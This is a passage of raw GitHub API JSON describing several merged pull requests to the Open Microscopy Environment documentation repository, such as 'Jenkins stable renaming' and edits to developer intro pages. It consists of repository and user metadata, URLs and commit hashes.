ommits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"fbd464819ba9647fe0254d17c7486ff9f6846831","ref":"rebased/develop/jenkins_stable_renaming"},"assignee":null,"updated_at":"2013-01-24T11:30:27Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/226/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/226/commits","closed_at":"2013-01-24T11:30:27Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/226","merged_at":"2013-01-24T11:30:26Z","merge_commit_sha":"52db421dde8528dc7396473c98d351e0b0175951","created_at":"2013-01-23T21:11:40Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/226/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/226.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/226","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-225 but rebased onto develop.\n\n----\n\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/226.diff","id":3808825,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1ee47d5123ed947f97d6dce8385883e45549e4f0","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/225/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/225"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/225"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/225"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/225/comments"}},"title":"Jenkins stable renaming","state":"closed","number":225,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/225","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:jenkins_stable_renaming","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"9b5531c3840a85b3244105a4fc975b9334a8a155","ref":"jenkins_stable_renaming"},"assignee":null,"updated_at":"2013-01-24T11:32:24Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/225/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/225/commits","closed_at":"2013-01-24T11:32:24Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/225","merged_at":"2013-01-24T11:32:24Z","merge_commit_sha":"be00fe43dd7f26651f9ebe49f639a4174c5217a3","created_at":"2013-01-23T13:03:39Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/225/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/225.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/225","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/225.diff","id":3799374,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1a5500adbd66f9c5c30b070bd5503b174478d02d","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/223/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/223"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/223"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/223"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/223/comments"}},"title":"Editing developer intro pages (rebased onto develop)","state":"closed","number":223,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/223","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/develop/10212-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"87ad0799b37d69a7f04c80fd10ba323f49dc3b05","ref":"rebased/develop/10212-fix"},"assignee":null,"updated_at":"2013-01-24T08:22:54Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/223/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/223/commits","closed_at":"2013-01-24T08:22:54Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/223","merged_at":"2013-01-24T08:22:54Z","merge_commit_sha":"ae956e43674d9ffdaff44c112a7de63c4b70d7b5","created_at":"2013-01-23T10:21:17Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/223/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/223.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/223","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-219 but rebased onto develop.\n\n----\n\nSee tickets 10212 & 10199 \n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/223.diff","id":3797215,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome